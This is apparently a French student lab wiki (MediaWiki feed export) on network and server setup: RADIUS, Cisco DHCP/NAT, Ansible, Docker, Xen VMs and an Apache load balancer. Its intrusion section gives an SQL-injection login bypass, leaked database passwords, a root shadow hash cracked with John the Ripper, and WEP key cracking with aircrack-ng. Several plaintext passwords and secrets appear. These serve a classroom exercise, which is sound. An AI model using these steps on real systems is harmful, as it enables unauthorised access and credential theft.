     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
	  ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55019</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55019"/>
				<updated>2020-12-18T23:27:51Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
